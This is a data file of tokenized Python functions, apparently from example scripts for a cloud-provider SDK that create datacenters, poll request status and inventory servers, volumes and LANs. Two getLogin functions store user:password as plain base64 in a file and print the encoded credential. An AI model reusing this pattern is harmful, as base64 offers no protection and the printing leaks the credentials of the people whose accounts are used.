{"signature": "def create_datacenter_dict(pbclient, datacenter):", "body": "<EOL>server_items = []<EOL>volume_items = []<EOL>lan_items = []<EOL>loadbalancer_items = []<EOL>entities = dict()<EOL>properties = {<EOL>\"<STR_LIT:name>\": datacenter.name,<EOL>\"<STR_LIT:location>\": datacenter.location,<EOL>}<EOL>if datacenter.description:<EOL><INDENT>properties['<STR_LIT:description>'] = datacenter.description<EOL><DEDENT>if datacenter.servers:<EOL><INDENT>for server in datacenter.servers:<EOL><INDENT>server_items.append(pbclient._create_server_dict(server))<EOL><DEDENT>servers = {<EOL>\"<STR_LIT>\": server_items<EOL>}<EOL>server_entities = {<EOL>\"<STR_LIT>\": servers<EOL>}<EOL>entities.update(server_entities)<EOL><DEDENT>if datacenter.volumes:<EOL><INDENT>for volume in datacenter.volumes:<EOL><INDENT>volume_items.append(pbclient._create_volume_dict(volume))<EOL><DEDENT>volumes = {<EOL>\"<STR_LIT>\": volume_items<EOL>}<EOL>volume_entities = {<EOL>\"<STR_LIT>\": volumes<EOL>}<EOL>entities.update(volume_entities)<EOL><DEDENT>if datacenter.loadbalancers:<EOL><INDENT>for loadbalancer in datacenter.loadbalancers:<EOL><INDENT>loadbalancer_items.append(<EOL>pbclient._create_loadbalancer_dict(<EOL>loadbalancer<EOL>)<EOL>)<EOL><DEDENT>loadbalancers = {<EOL>\"<STR_LIT>\": loadbalancer_items<EOL>}<EOL>loadbalancer_entities = {<EOL>\"<STR_LIT>\": loadbalancers<EOL>}<EOL>entities.update(loadbalancer_entities)<EOL><DEDENT>if datacenter.lans:<EOL><INDENT>for lan in datacenter.lans:<EOL><INDENT>lan_items.append(<EOL>pbclient._create_lan_dict(lan)<EOL>)<EOL><DEDENT>lans = {<EOL>\"<STR_LIT>\": lan_items<EOL>}<EOL>lan_entities = {<EOL>\"<STR_LIT>\": lans<EOL>}<EOL>entities.update(lan_entities)<EOL><DEDENT>if not entities:<EOL><INDENT>raw = {<EOL>\"<STR_LIT>\": properties,<EOL>}<EOL><DEDENT>else:<EOL><INDENT>raw = {<EOL>\"<STR_LIT>\": properties,<EOL>\"<STR_LIT>\": entities<EOL>}<EOL><DEDENT>return raw<EOL>", "docstring": "Creates a Datacenter dict -- both simple and complex are supported.\nThis is copied from createDatacenter() and uses private methods.", "id": "f814:m3"}
{"signature": "def main(argv=None):", "body": "if argv is None:<EOL><INDENT>argv = sys.argv<EOL><DEDENT>else:<EOL><INDENT>sys.argv.extend(argv)<EOL><DEDENT>program_name = os.path.basename(sys.argv[<NUM_LIT:0>])<EOL>program_version = \"<STR_LIT>\" % __version__<EOL>program_build_date = str(__updated__)<EOL>program_version_message = '<STR_LIT>' % (program_version,<EOL>program_build_date)<EOL>program_shortdesc = __import__('<STR_LIT:__main__>').__doc__.split(\"<STR_LIT:\\n>\")[<NUM_LIT:1>]<EOL>program_license =", "docstring": "Parse command line options and create a server/volume composite.", "id": "f814:m12"}
{"signature": "def getLogin(filename, user, passwd):", "body": "if filename is None:<EOL><INDENT>return (user, passwd)<EOL><DEDENT>isPy2 = sys.version_info[<NUM_LIT:0>] == <NUM_LIT:2><EOL>if os.path.exists(filename):<EOL><INDENT>print(\"<STR_LIT>\".format(filename))<EOL>with open(filename, \"<STR_LIT:r>\") as loginfile:<EOL><INDENT>encoded_cred = loginfile.read()<EOL>print(\"<STR_LIT>\".format(encoded_cred))<EOL>if isPy2:<EOL><INDENT>decoded_cred = b64decode(encoded_cred)<EOL><DEDENT>else:<EOL><INDENT>decoded_cred = b64decode(encoded_cred).decode('<STR_LIT:utf-8>')<EOL><DEDENT>login = decoded_cred.split('<STR_LIT::>', <NUM_LIT:1>)<EOL>return (login[<NUM_LIT:0>], login[<NUM_LIT:1>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if user is None or passwd is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>print(\"<STR_LIT>\".format(filename))<EOL>with open(filename, \"<STR_LIT:wb>\") as loginfile:<EOL><INDENT>creds = user+\"<STR_LIT::>\"+passwd<EOL>if isPy2:<EOL><INDENT>encoded_cred = b64encode(creds)<EOL><DEDENT>else:<EOL><INDENT>encoded_cred = b64encode(creds.encode('<STR_LIT:utf-8>'))<EOL><DEDENT>print(\"<STR_LIT>\".format(encoded_cred))<EOL>loginfile.write(encoded_cred)<EOL><DEDENT>return (user, passwd)<EOL><DEDENT>", "docstring": "write user/passwd to login file or get them from file.\nThis method is not Py3 safe (byte vs. str)", "id": "f816:m0"}
{"signature": "def wait_for_request(pbclient, request_id,<EOL>timeout=<NUM_LIT:0>, initial_wait=<NUM_LIT:5>, scaleup=<NUM_LIT:10>):", "body": "total_wait = <NUM_LIT:0><EOL>wait_period = initial_wait<EOL>next_scaleup = scaleup * wait_period<EOL>wait = True<EOL>while wait:<EOL><INDENT>request_status = pbclient.get_request(request_id, status=True)<EOL>state = request_status['<STR_LIT>']['<STR_LIT:status>']<EOL>if state == \"<STR_LIT>\":<EOL><INDENT>return(<NUM_LIT:0>, state, request_status['<STR_LIT>']['<STR_LIT:message>'])<EOL><DEDENT>if state == '<STR_LIT>':<EOL><INDENT>return(<NUM_LIT:1>, state, request_status['<STR_LIT>']['<STR_LIT:message>'])<EOL><DEDENT>print(\"<STR_LIT>\"<EOL>.format(request_id, state, wait_period))<EOL>sleep(wait_period)<EOL>total_wait += wait_period<EOL>if timeout != <NUM_LIT:0> and total_wait > timeout:<EOL><INDENT>wait = False<EOL><DEDENT>next_scaleup -= wait_period<EOL>if next_scaleup == <NUM_LIT:0>:<EOL><INDENT>wait_period += initial_wait<EOL>next_scaleup = scaleup * wait_period<EOL>print(\"<STR_LIT>\"<EOL>.format(wait_period, next_scaleup))<EOL><DEDENT><DEDENT>return(-<NUM_LIT:1>, state, \"<STR_LIT>\")<EOL>", "docstring": "Waits for a request to finish until timeout.\ntimeout==0 is interpreted as infinite wait time.\nReturns a tuple (return code, request status, message) where return code\n0  : request successful\n1  : request failed\n-1 : timeout exceeded\nThe wait_period is increased every scaleup steps to adjust for long\nrunning requests.", "id": "f816:m1"}
{"signature": "def wait_for_requests(pbclient, request_ids=None,<EOL>timeout=<NUM_LIT:0>, initial_wait=<NUM_LIT:5>, scaleup=<NUM_LIT:10>):", "body": "done = dict()<EOL>if not request_ids:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return done<EOL><DEDENT>total_wait = <NUM_LIT:0><EOL>wait_period = initial_wait<EOL>next_scaleup = scaleup * wait_period<EOL>wait = True<EOL>while wait:<EOL><INDENT>for request_id in request_ids:<EOL><INDENT>if request_id in done:<EOL><INDENT>continue<EOL><DEDENT>request_status = pbclient.get_request(request_id, status=True)<EOL>state = request_status['<STR_LIT>']['<STR_LIT:status>']<EOL>if state == \"<STR_LIT>\":<EOL><INDENT>done[request_id] = (<NUM_LIT:0>, state, request_status['<STR_LIT>']['<STR_LIT:message>'])<EOL>print(\"<STR_LIT>\".format(request_id, state))<EOL><DEDENT>if state == '<STR_LIT>':<EOL><INDENT>done[request_id] = (<NUM_LIT:1>, state, request_status['<STR_LIT>']['<STR_LIT:message>'])<EOL>print(\"<STR_LIT>\".format(request_id, state))<EOL><DEDENT><DEDENT>if len(done) == len(request_ids):<EOL><INDENT>wait = False<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>.format(len(done), len(request_ids), wait_period))<EOL>sleep(wait_period)<EOL>total_wait += wait_period<EOL>if timeout != <NUM_LIT:0> and total_wait > timeout:<EOL><INDENT>wait = False<EOL><DEDENT>next_scaleup -= wait_period<EOL>if next_scaleup == <NUM_LIT:0>:<EOL><INDENT>wait_period += initial_wait<EOL>next_scaleup = scaleup * wait_period<EOL>print(\"<STR_LIT>\"<EOL>.format(wait_period, next_scaleup))<EOL><DEDENT><DEDENT><DEDENT>if len(done) != len(request_ids):<EOL><INDENT>for request_id in request_ids:<EOL><INDENT>if request_id in done:<EOL><INDENT>continue<EOL><DEDENT>done[request_id] = (-<NUM_LIT:1>, state, \"<STR_LIT>\")<EOL><DEDENT><DEDENT>return done<EOL>", "docstring": "Waits for a list of requests to finish until timeout.\ntimeout==0 is interpreted as infinite wait time.\nReturns a dict of request_id -> result.\nresult is a tuple (return code, request status, message) where return code\n0  : request successful\n1  : request failed\n-1 : timeout exceeded\nThe wait_period is increased every scaleup steps to adjust for long\nrunning requests.", "id": "f816:m2"}
{"signature": "def get_disk_image_by_name(pbclient, location, image_name):", "body": "all_images = pbclient.list_images()<EOL>matching = [i for i in all_images['<STR_LIT>'] if<EOL>i['<STR_LIT>']['<STR_LIT:name>'] == image_name and<EOL>i['<STR_LIT>']['<STR_LIT>'] == \"<STR_LIT>\" and<EOL>i['<STR_LIT>']['<STR_LIT:location>'] == location]<EOL>return matching<EOL>", "docstring": "Returns all disk images within a location with a given image name.\nThe name must match exactly.\nThe list may be empty.", "id": "f816:m3"}
{"signature": "def main(argv=None):", "body": "if argv is None:<EOL><INDENT>argv = sys.argv<EOL><DEDENT>else:<EOL><INDENT>sys.argv.extend(argv)<EOL><DEDENT>program_name = os.path.basename(sys.argv[<NUM_LIT:0>])<EOL>program_version = \"<STR_LIT>\" % __version__<EOL>program_build_date = str(__updated__)<EOL>program_version_message = '<STR_LIT>' % (program_version,<EOL>program_build_date)<EOL>program_shortdesc = __import__('<STR_LIT:__main__>').__doc__.split(\"<STR_LIT:\\n>\")[<NUM_LIT:1>]<EOL>program_license =", "docstring": "Command line options.", "id": "f816:m4"}
{"signature": "def __init__(self, file=None):", "body": "<EOL>self._ns = {<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>}<EOL>self.file = file<EOL>self.root = None<EOL>self.name = None<EOL>self.osid = None<EOL>self.licenseType = \"<STR_LIT>\"<EOL>self.cpus = None<EOL>self.ram = None<EOL>self.disks = []<EOL>self.lans = dict()<EOL>self.nics = []<EOL>self.resourceTypes = {<EOL>'<STR_LIT:1>': '<STR_LIT>',<EOL>'<STR_LIT:2>': '<STR_LIT>',<EOL>'<STR_LIT:3>': '<STR_LIT>',<EOL>'<STR_LIT:4>': '<STR_LIT>',<EOL>'<STR_LIT:5>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:..>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>}   <EOL>self.osTypeOther = {<EOL>'<STR_LIT:0>': '<STR_LIT>',<EOL>'<STR_LIT:1>': '<STR_LIT>',<EOL>'<STR_LIT:2>': '<STR_LIT>',<EOL>'<STR_LIT:3>': '<STR_LIT>',<EOL>'<STR_LIT:4>': '<STR_LIT>',<EOL>'<STR_LIT:5>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}   <EOL>self.osTypeLinux = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:100>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}   <EOL>self.osTypeWindows = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>}<EOL>", "docstring": "OVF meta data initializer", "id": "f816:c1:m0"}
{"signature": "def _nsattr(self, attr, ns=None):", "body": "if ns is None:<EOL><INDENT>return attr<EOL><DEDENT>return '<STR_LIT:{>' + self._ns[ns] + '<STR_LIT:}>' + attr<EOL>", "docstring": "returns an attribute name w/ namespace prefix", "id": "f816:c1:m2"}
{"signature": "def pp(value):", "body": "pretty_printer = pprint.PrettyPrinter(indent=<NUM_LIT:4>)<EOL>return pretty_printer.pformat(value)<EOL>", "docstring": "Returns a pretty print string of the given value.\n\n@return: pretty print string\n@rtype: str", "id": "f819:m0"}
{"signature": "def get_dc_inventory(pbclient, dc=None):", "body": "if pbclient is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if dc is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>dc_inv = []   <EOL>dcid = dc['<STR_LIT:id>']<EOL>dc_data = [dcid, dc['<STR_LIT>']['<STR_LIT:name>'], dc['<STR_LIT>']['<STR_LIT:location>']]<EOL>servers = pbclient.list_servers(dcid, <NUM_LIT:3>)<EOL>print(\"<STR_LIT>\" % (len(servers['<STR_LIT>']), dc['<STR_LIT>']['<STR_LIT:name>']))<EOL>if verbose > <NUM_LIT:2>:<EOL><INDENT>print(str(servers))<EOL><DEDENT>bound_vols = dict()   <EOL>for server in servers['<STR_LIT>']:<EOL><INDENT>if verbose > <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\" % str(server))<EOL><DEDENT>serverid = server['<STR_LIT:id>']<EOL>server_data = [<EOL>server['<STR_LIT:type>'], serverid, server['<STR_LIT>']['<STR_LIT:name>'],<EOL>server['<STR_LIT>']['<STR_LIT:state>']<EOL>]<EOL>bootOS = \"<STR_LIT>\"<EOL>bootdev = server['<STR_LIT>']['<STR_LIT>']<EOL>if bootdev is None:<EOL><INDENT>bootdev = server['<STR_LIT>']['<STR_LIT>']<EOL>print(\"<STR_LIT>\" % (serverid, \"<STR_LIT>\"))<EOL><DEDENT>if bootdev is None:<EOL><INDENT>print(\"<STR_LIT>\" % (serverid))<EOL><DEDENT>else:<EOL><INDENT>bootOS = bootdev['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>server_data += [bootOS, server['<STR_LIT>']['<STR_LIT>'], server['<STR_LIT>']['<STR_LIT>']]<EOL>server_vols = server['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL>n_volumes = len(server_vols)<EOL>total_disk = <NUM_LIT:0><EOL>licence_type = \"<STR_LIT>\"<EOL>for vol in server_vols:<EOL><INDENT>total_disk += vol['<STR_LIT>']['<STR_LIT:size>']<EOL>licence_type = str(vol['<STR_LIT>']['<STR_LIT>'])<EOL>bound_vols[vol['<STR_LIT:id>']] = serverid<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % (<EOL>vol['<STR_LIT:id>'], bound_vols[vol['<STR_LIT:id>']], licence_type))<EOL><DEDENT><DEDENT>server_nics = server['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL>n_nics = len(server_nics)<EOL>server_data += [<EOL>n_nics, n_volumes, total_disk, \"<STR_LIT>\",<EOL>server['<STR_LIT>']['<STR_LIT>'], server['<STR_LIT>']['<STR_LIT>']<EOL>]<EOL>dc_inv.append(dc_data + server_data)<EOL><DEDENT>volumes = pbclient.list_volumes(dcid, <NUM_LIT:2>)   <EOL>for volume in volumes['<STR_LIT>']:<EOL><INDENT>if verbose > <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\" % str(volume))<EOL><DEDENT>volid = volume['<STR_LIT:id>']<EOL>vol_data = [<EOL>volume['<STR_LIT:type>'], volid, volume['<STR_LIT>']['<STR_LIT:name>'], volume['<STR_LIT>']['<STR_LIT:state>'],<EOL>volume['<STR_LIT>']['<STR_LIT>'], \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", volume['<STR_LIT>']['<STR_LIT:size>']<EOL>]<EOL>connect = '<STR_LIT>'<EOL>if volid in bound_vols:<EOL><INDENT>connect = bound_vols[volid]<EOL><DEDENT>vol_data += [<EOL>connect, volume['<STR_LIT>']['<STR_LIT>'], volume['<STR_LIT>']['<STR_LIT>']<EOL>]<EOL>dc_inv.append(dc_data + vol_data)<EOL><DEDENT>return dc_inv<EOL>", "docstring": "gets inventory of one data center", "id": "f819:m1"}
{"signature": "def get_dc_network(pbclient, dc=None):", "body": "if pbclient is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if dc is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>dcid = dc['<STR_LIT:id>']<EOL>dc_data = [dcid, dc['<STR_LIT>']['<STR_LIT:name>'], dc['<STR_LIT>']['<STR_LIT:location>']]<EOL>lbs = pbclient.list_loadbalancers(dcid, <NUM_LIT:2>)<EOL>lbnames = dict([(lb['<STR_LIT:id>'], lb['<STR_LIT>']['<STR_LIT:name>']) for lb in lbs['<STR_LIT>']])<EOL>if verbose > <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\" % (str(lbs)))<EOL><DEDENT>lans = pbclient.list_lans(dcid, <NUM_LIT:3>)<EOL>lan_inv = []<EOL>servernames = dict()<EOL>for lan in lans['<STR_LIT>']:<EOL><INDENT>if verbose > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\" % str(lan))<EOL><DEDENT>lan_data = dc_data + [<EOL>\"<STR_LIT>\"+lan['<STR_LIT:id>'], lan['<STR_LIT>']['<STR_LIT:name>'], lan['<STR_LIT>']['<STR_LIT>'],<EOL>lan['<STR_LIT>']['<STR_LIT:state>']<EOL>]<EOL>nics = lan['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL>lan_data.append(len(nics))<EOL>if nics:<EOL><INDENT>for nic in nics:<EOL><INDENT>nic_props = nic['<STR_LIT>']<EOL>serverid = re.sub(r'<STR_LIT>', r'<STR_LIT>', nic['<STR_LIT>'])<EOL>if serverid in lbnames:<EOL><INDENT>servertype = \"<STR_LIT>\"<EOL>servername = lbnames[serverid]<EOL>print(\"<STR_LIT>\" % (serverid, servername))<EOL><DEDENT>else:<EOL><INDENT>servertype = \"<STR_LIT>\"<EOL>if serverid not in servernames:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % serverid)<EOL><DEDENT>server = pbclient.get_server(dcid, serverid, <NUM_LIT:0>)<EOL>servernames[serverid] = server['<STR_LIT>']['<STR_LIT:name>']<EOL><DEDENT>servername = servernames[serverid]<EOL><DEDENT>ips = [str(ip) for ip in nic_props['<STR_LIT>']]<EOL>nic_data = [<EOL>nic['<STR_LIT:id>'], nic_props['<STR_LIT>'], nic_props['<STR_LIT>'], ips, nic_props['<STR_LIT:name>'],<EOL>nic_props['<STR_LIT>'], servertype, serverid, servername<EOL>]<EOL>lan_inv.append(lan_data+nic_data)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>lan_inv.append(lan_data)<EOL><DEDENT><DEDENT>return lan_inv<EOL>", "docstring": "gets inventory of one data center", "id": "f819:m5"}
{"signature": "def main(argv=None):                ", "body": "if argv is None:<EOL><INDENT>argv = sys.argv<EOL><DEDENT>else:<EOL><INDENT>sys.argv.extend(argv)<EOL><DEDENT>program_name = os.path.basename(sys.argv[<NUM_LIT:0>])<EOL>program_version = \"<STR_LIT>\" % __version__<EOL>program_build_date = str(__updated__)<EOL>program_version_message = '<STR_LIT>' % (program_version, program_build_date)<EOL>program_shortdesc = __import__('<STR_LIT:__main__>').__doc__.split(\"<STR_LIT:\\n>\")[<NUM_LIT:1>]<EOL>program_license =", "docstring": "Command line options.", "id": "f819:m7"}
{"signature": "def getLogin(filename, user, passwd):", "body": "if filename is None:<EOL><INDENT>return (user, passwd)<EOL><DEDENT>if os.path.exists(filename):<EOL><INDENT>print(\"<STR_LIT>\".format(filename))<EOL>with open(filename, \"<STR_LIT:r>\") as loginfile:<EOL><INDENT>encoded_cred = loginfile.read()<EOL><INDENT>print(\"<STR_LIT>\".format(encoded_cred))<EOL><DEDENT>decoded_cred = b64decode(encoded_cred)<EOL>login = decoded_cred.split('<STR_LIT::>', <NUM_LIT:1>)<EOL>return (login[<NUM_LIT:0>], login[<NUM_LIT:1>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if user is None or passwd is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>print(\"<STR_LIT>\".format(filename))<EOL>with open(filename, \"<STR_LIT:w>\") as loginfile:<EOL><INDENT>encoded_cred = b64encode(user+\"<STR_LIT::>\"+passwd)<EOL><INDENT>print(\"<STR_LIT>\".format(encoded_cred))<EOL><DEDENT>loginfile.write(encoded_cred)<EOL><DEDENT>return (user, passwd)<EOL><DEDENT>", "docstring": "write user/passwd to login file or get them from file.\nThis method is not Py3 safe (byte vs. str)", "id": "f820:m0"}
{"signature": "def getServerInfo(pbclient=None, dc_id=None):", "body": "if pbclient is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if dc_id is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>server_info = []<EOL>servers = pbclient.list_servers(dc_id, <NUM_LIT:1>)<EOL>for server in servers['<STR_LIT>']:<EOL><INDENT>props = server['<STR_LIT>']<EOL>info = dict(id=server['<STR_LIT:id>'], name=props['<STR_LIT:name>'],<EOL>state=server['<STR_LIT>']['<STR_LIT:state>'],<EOL>vmstate=props['<STR_LIT>'])<EOL>server_info.append(info)<EOL><DEDENT>return server_info<EOL>", "docstring": "gets info of servers of a data center", "id": "f820:m1"}
{"signature": "def getServerStates(pbclient=None, dc_id=None, serverid=None, servername=None):", "body": "if pbclient is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if dc_id is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>server = None<EOL>if serverid is None:<EOL><INDENT>if servername is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>server_info = select_where(getServerInfo(pbclient, dc_id),<EOL>['<STR_LIT:id>', '<STR_LIT:name>', '<STR_LIT:state>', '<STR_LIT>'],<EOL>name=servername)<EOL>if len(server_info) > <NUM_LIT:1>:<EOL><INDENT>raise NameError(\"<STR_LIT>\".format(servername))<EOL><DEDENT>if len(server_info) == <NUM_LIT:1>:<EOL><INDENT>server = server_info[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>server_info = pbclient.get_server(dc_id, serverid, <NUM_LIT:1>)<EOL>server = dict(id=server_info['<STR_LIT:id>'],<EOL>name=server_info['<STR_LIT>']['<STR_LIT:name>'],<EOL>state=server_info['<STR_LIT>']['<STR_LIT:state>'],<EOL>vmstate=server_info['<STR_LIT>']['<STR_LIT>'])<EOL><DEDENT>except Exception:<EOL><INDENT>ex = sys.exc_info()[<NUM_LIT:1>]<EOL>if ex.args[<NUM_LIT:0>] is not None and ex.args[<NUM_LIT:0>] == <NUM_LIT>:<EOL><INDENT>print(\"<STR_LIT>\".format(serverid))<EOL>server = None<EOL><DEDENT>else:<EOL><INDENT>raise ex<EOL><DEDENT><DEDENT><DEDENT>return server<EOL>", "docstring": "gets states of a server", "id": "f820:m3"}
